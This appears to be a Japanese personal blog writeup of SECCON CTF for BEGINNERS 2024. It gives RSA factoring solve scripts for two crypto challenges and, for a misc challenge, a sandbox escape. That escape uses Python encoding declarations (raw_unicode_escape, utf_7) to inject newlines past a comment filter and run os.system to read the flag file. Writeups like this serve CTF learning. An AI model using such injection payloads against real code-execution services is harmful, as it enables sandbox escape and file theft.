😺

# SECCON CTF for BEGINNERS 2024 writeup

2024/06/17に公開

## Safe Prime [362 solved]

Using a safe prime makes RSA secure, doesn't it?

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861



p,q の関係がわかっているので、とりあえず z3 にかけてみたらうまく計算できた。二分探索を行うのが正規解法っぽい。

from Crypto.Util.number import *
from z3 import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
e = 65537
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

p = Int("p")
q = Int("q")

solver = Solver()

solver.add(p < q, p > 0, q > 0, p*q == n, q == 2*p+1)

assert solver.check() == z3.sat

p = solver.model()[p].as_long()
q = solver.model()[q].as_long()

phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

m = pow(c, d, n)

print(long_to_bytes(m))


ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

## math [119 solved]

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

chal.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2

def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n

assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

output.txt
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289


a \times b が何かしらのヒントを握っているのに違いない。a, b が平方数であること・すでに 1 つずつの素因数がわかっていることを利用して、完全に素因数分解できないか試してみた。すると、

ab = 3^2 \times 173^2 \times 199^2 \times 306606827773^2 \times (省略)^2 \times (省略)^2

であり、該当する a, b16 通りに絞られる。

x がわかれば p, q も計算できるが、このパートは (a+x)(b+x) = n であることを利用して二分探索した。

solve.py
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

_facs = [3, 173, 199, 306606827773]

facs = []
for x in _facs:
facs.append(x*x)

sub_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
sub_a *= sub_a
sub_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
sub_b *= sub_b
from Crypto.Util.number import *
import gmpy2

for S in range(1 << 4):
A = sub_a
B = sub_b
for i in range(4):
if S >> i & 1:
A *= facs[i]
else:
B *= facs[i]

ng = 0
ok = (1 << 1024)

while ok - ng > 1:
mid = (ng+ok) // 2
if (A+mid)*(B+mid) >= n:
ok = mid
else:
ng = mid

P = A + ok
Q = B + ok

if P*Q != n:
continue

phi = (P - 1) * (Q - 1)

d = pow(e, -1, phi)

m = pow(cipher, d, n)

print(long_to_bytes(m))



ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

# upsolve した問題

## misc/commentator [75 solved]

コメントには注意しなきゃ！

• どうにか改行した状態で、自由なプログラムを記述できるようにする
• f文字列周りに脆弱性がある

みたいな仮説を立ててチームで取り組んでいました。僕は後者。

echo -e '\e[2Dwith open('flag.txt', 'r') as f: print(f.readline())\n__EOF__' | python test.py


Dockerを見ると、flag.txtは RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print$1}').txt と改変されており、素直にこの路線では解くことができなかったかもしれない。

どうやらpythonは # coding: utf_8 みたいな形でエンコードを指定できるようで、 # coding: raw_unicode_escape とすることで、エスケープ文字を有効にすることができるみたいだ。

Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("cat /flag-*.txt")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)


Enter your Python code (ends with __EOF__)
>>> coding: utf_7
>>> +AAo-import os
>>> +AAo-os.system("cat /flag-*.txt")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)


# upsolveしたい問題

## ARES [14 solved]

いい加減RSA問以外も解けるようにしておきたい（これもRSAを使っているという意味ではRSA問なのかもしれないけど）

もっとCTFの勉強をしたいが、チームにCryptoやってる人がおらず、なかなか刺激がないためにずっとやれてないでいるのはいろんな意味で反省点かな。